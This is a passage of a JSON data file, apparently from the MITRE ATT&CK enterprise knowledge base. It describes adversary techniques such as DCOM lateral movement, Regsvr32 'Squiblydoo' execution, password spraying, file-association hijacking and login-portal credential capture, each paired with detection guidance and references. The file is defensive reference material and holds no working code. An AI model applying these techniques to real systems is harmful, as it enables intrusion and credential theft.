2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar","McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3","type":"attack-pattern","created":"2017-05-31T21:30:28.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1019","url":"https://attack.mitre.org/techniques/T1019"},{"external_id":"CAPEC-532","source_name":"capec","url":"https://capec.mitre.org/data/definitions/532.html"},{"url":"https://en.wikipedia.org/wiki/BIOS","description":"Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.","source_name":"Wikipedia BIOS"},{"url":"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface","description":"Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.","source_name":"Wikipedia UEFI"},{"url":"http://www.uefi.org/about","description":"UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.","source_name":"About UEFI"},{"url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.","source_name":"MITRE Trustworthy Firmware Measurement"},{"url":"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about","description":"Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.","source_name":"MITRE Copernicus"},{"url":"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/","description":"Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.","source_name":"McAfee CHIPSEC Blog"},{"url":"https://github.com/chipsec/chipsec","description":"Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.","source_name":"Github CHIPSEC"},{"url":"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html","description":"Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.","source_name":"Intel HackingTeam UEFI Rootkit"}],"modified":"2020-03-30T19:16:29.473Z","name":"System Firmware","description":"The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2023-08-11T20:21:55.610Z","name":"Distributed Component Object Model","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Module: Module Load","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","created":"2020-02-11T18:26:36.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/003","external_id":"T1021.003"},{"source_name":"Fireeye Hunting COM June 2019","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"},{"source_name":"Microsoft COM","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"},{"source_name":"Microsoft COM ACL","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"},{"source_name":"Microsoft Process Wide Com Keys","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"},{"source_name":"MSDN WMI","description":"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.","url":"https://msdn.microsoft.com/en-us/library/aa394582.aspx"},{"source_name":"Enigma DCOM Lateral Movement Jan 2017","description":"Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.","url":"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"},{"source_name":"Enigma MMC20 COM Jan 2017","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"},{"source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"},{"source_name":"Enigma Excel DCOM Sept 2017","description":"Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.","url":"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"},{"source_name":"Cyberreason DCOM DDE Lateral Movement Nov 2017","description":"Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.","url":"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--68c96494-1a50-403e-8844-69a6af278c68","type":"attack-pattern","created":"2017-05-31T21:30:42.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1042","url":"https://attack.mitre.org/techniques/T1042"},{"external_id":"CAPEC-556","source_name":"capec","url":"https://capec.mitre.org/data/definitions/556.html"},{"url":"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs","description":"Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.","source_name":"Microsoft Change Default Programs"},{"url":"http://msdn.microsoft.com/en-us/library/bb166549.aspx","description":"Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.","source_name":"Microsoft File Handlers"},{"url":"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc","description":"Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.","source_name":"Microsoft Assoc Oct 2017"},{"url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd","description":"Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.","source_name":"TrendMicro TROJ-FAKEAV OCT 2012"}],"modified":"2020-01-24T13:41:32.520Z","name":"Change Default File Association","description":"When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a","type":"attack-pattern","created":"2017-05-31T21:31:26.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1117","url":"https://attack.mitre.org/techniques/T1117"},{"source_name":"Microsoft Regsvr32","description":"Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.","url":"https://support.microsoft.com/en-us/kb/249873"},{"source_name":"LOLBAS Regsvr32","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/","description":"LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."},{"source_name":"Carbon Black Squiblydoo Apr 2016","description":"Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.","url":"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html","description":"Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.","source_name":"FireEye Regsvr32 Targeting Mongolian Gov"}],"modified":"2020-01-31T19:00:56.475Z","name":"Regsvr32","description":"Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Anti-virus","Digital Certificate Validation"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-14T22:11:30.271Z","name":"Password Spraying","description":"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","John Strand"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"1.6","x_mitre_data_sources":["User Account: User Account Authentication","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","created":"2020-02-11T18:39:25.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1110/003","external_id":"T1110.003"},{"source_name":"Trimarc Detecting Password Spraying","description":"Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.","url":"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"},{"source_name":"BlackHillsInfosec Password Spraying","description":"Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.","url":"http://www.blackhillsinfosec.com/?p=4645"},{"source_name":"US-CERT TA18-068A 2018","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-04-16T12:19:08.953Z","name":"External Proxy","description":"Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","created":"2020-03-14T23:12:18.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1090/002","external_id":"T1090.002"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Trend Micro APT Attack Tools","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:43:43.849Z","name":"Web Portal Capture","description":"Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Modification"],"x_mitre_system_requirements":["An externally facing login portal is configured."],"type":"attack-pattern","id":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","created":"2020-02-11T18:59:50.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1056/003","external_id":"T1056.003"},{"source_name":"Volexity Virtual Private Keylogging","description":"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.","url":"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-21T14:30:10.979Z","name":"Email Addresses","description":"Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","created":"2020-10-02T14:56:24.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1589/002","external_id":"T1589.002"},{"source_name":"Azure Active Directory Reconnaisance","description":"Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.","url":"https://o365blog.com/post/just-looking/"},{"source_name":"GitHub Office 365 User Enumeration","description":"gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.","url":"https://github.com/gremwell/o365enum"},{"source_name":"GrimBlog UsernameEnum","description":"GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.","url":"https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"},{"source_name":"HackersArise Email","description":"Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.","url":"https://www.hackers-arise.com/email-scraping-and-maltego"},{"source_name":"CNET Leaks","description":"Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.","url":"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1164","url":"https://attack.mitre.org/techniques/T1164"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-01-24T18:26:18.933Z","name":"Re-opened Applications","description":"Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rob 